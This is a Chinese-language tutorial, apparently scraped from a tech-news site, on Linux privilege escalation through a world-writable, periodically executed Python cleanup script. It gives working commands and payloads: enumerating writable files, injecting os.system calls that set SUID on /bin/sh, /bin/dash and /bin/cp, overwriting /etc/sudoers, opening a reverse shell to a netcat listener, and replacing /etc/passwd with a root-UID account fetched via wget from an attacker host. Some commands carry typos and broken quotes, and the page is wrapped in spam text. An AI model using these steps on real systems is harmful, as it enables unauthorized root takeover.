中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何通過可寫文件來實現Linux下的提權

發布時間:2021-11-11 11:51:49 來源:億速云 閱讀:176 作者:柒染 欄目:編程語言

這期內容當中小編將會給大家帶來有關如何通過可寫文件來實現Linux下的提權,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在Linux系統中,任何東西都是以文件形式存在的,包括目錄和設備在內,它們都擁有讀取、寫入和執行權限(需配置)。當管理員在設置文件權限時,必須根據Linux用戶的具體情況來進行設置。

我們將跟大家討論如何通過可寫文件/腳本來實現Linux下的提權。接下來,我們直奔主題。

打開你的電腦,然后入侵目標系統,我們直接進入到提權環節。假設我已經通過ssh成功登錄目標設備,然后訪問了非root用戶終端。接下來,使用下列命令枚舉出全部擁有可寫權限的文件:

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

你可以看到,結果中有一個存儲在/lib/log目錄中的python文件,查看之后我們發現sanitizer.py的權限為777:

如何通過可寫文件來實現Linux下的提權

看來這個文件是管理員用來清理/tmp目錄垃圾的,這種文件會在一定的時間間隔后自動執行。如果攻擊者也發現了這一點,那么他們就能夠通過接下來所介紹的方式實現提權了。

如何通過可寫文件來實現Linux下的提權

第一種方法

把/bin/sh拷貝到/tmp中,啟用/tmp/sh的SUID。這種方法很簡單,首先使用編輯器來打開文件,例如“nanosanitizer.py”,然后用下列內容替換掉“rm -r/tmp”:

os.system('cp/bin/sh /tmp/sh')
os.system('chmodu+s /tmp/sh')

如何通過可寫文件來實現Linux下的提權

接下來,它會在/tmp目錄中創建一個擁有SUID權限的sh文件,你運行該文件之后你就能拿到root權限了。

cd /tmp
ls
./sh
id
whoami

如何通過可寫文件來實現Linux下的提權

第二種方法

跟之前的方法一樣,你可以用下列代碼替換掉原來的“rm -r /tmp”:

os.system(‘chmod u+s /bin/dash)

如何通過可寫文件來實現Linux下的提權

一段時間之后,它會給/bin/dash文件設置SUID權限,當你運行它之后你就能拿到root權限了:

/bin/dash
id
whoami

如何通過可寫文件來實現Linux下的提權

第三種方法

這里我們需要將python反向shell連接代碼復制到“rm -r /tmp/*”這里,然后在新的終端里開啟netcat監聽器:

如何通過可寫文件來實現Linux下的提權

一段時間之后你就會通過netcat拿到反向shell連接,并獲取到root權限了:

nc-lvp 1234
id
whoami

如何通過可寫文件來實現Linux下的提權

第四種方法

這是一種最有趣的方法,我們可以通過這種方法來使用sudo權限去登錄目標設備。大家可以看到,wernerbrandes現在還無法運行sudo命令:

如何通過可寫文件來實現Linux下的提權

將下列代碼替換掉“rm -r /tmp/*”:

os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

如何通過可寫文件來實現Linux下的提權

一定時間之后,當你運行“sudo -l”命令之后,你就會發現這個賬號變成了sudo用戶,然后你就可以拿到root權限了:

sudo -l
sudo bash
id

第五種方法

在任何一個類Linux系統中,passwd文件的重要性不言而喻,如果攻擊者可以訪問或修改這個文件,那么該文件就變成了一種提權方式。在可寫腳本的幫助下,我們可以使用cat命令來訪問etc/passwd文件。

大家可以從下圖中看到高亮標注的nemo用戶信息,我猜測UID:1000 & GID:1000表示該用戶很可能在管理員組里面。我們需要修改nemo記錄并讓它成為root組成員。首先,把etc/passwd文件的內容拷貝到一個空白的text文件中。

如何通過可寫文件來實現Linux下的提權

然后在新的終端里,生成salt密碼:

openssl passwd -1 -salt abc 123

如何通過可寫文件來實現Linux下的提權

把salt密碼拷貝到nemo用戶記錄條目的“X”位置,把之前的UID&GID改成0:0。完成所有步驟之后,把剛才新建的text文件保存問“passwd”,然后把這個文件拷貝到目標主機中覆蓋掉原始的passwd文件。

cd Desktop
python -m SimpleHTTPServer 80

如何通過可寫文件來實現Linux下的提權

利用可寫腳本,用下列命令替換掉“rm -r /tmp/*”:

os.system(‘chmod u+s /bin/cp)

過一段時間之后它將會開啟/bin/cp的SUID權限,然后完成文件拷貝。

如何通過可寫文件來實現Linux下的提權

將修改后的passwd文件拷貝到目標主機的/tmp目錄中,然后輸入下列命令:

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

如何通過可寫文件來實現Linux下的提權

使用下列命令查看passwd文件是否替換成功:

tail /etc/passwd

如何通過可寫文件來實現Linux下的提權

通過下列命令拿到root權限:

su nemo
password123
whoami

在這篇文章中我們給大家演示了攻擊者如何利用可寫文件實現提權,希望大家喜歡。

如何通過可寫文件來實現Linux下的提權

上述就是小編為大家分享的如何通過可寫文件來實現Linux下的提權了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

白朗县| 会昌县| 八宿县| 德兴市| 南江县| 绥宁县| 随州市| 永州市| 封丘县| 绍兴县| 库尔勒市| 永登县| 罗江县| 长沙县| 乌什县| 米易县| 华阴市| 岳西县| 邛崃市| 清苑县| 荣成市| 阿坝县| 福泉市| 蓝田县| 天津市| 万全县| 肇东市| 鄂托克前旗| 郓城县| 汝城县| 万安县| 长兴县| 宜兴市| 宁蒗| 吉隆县| 宣汉县| 勃利县| 河东区| 永川市| 邹城市| 永康市|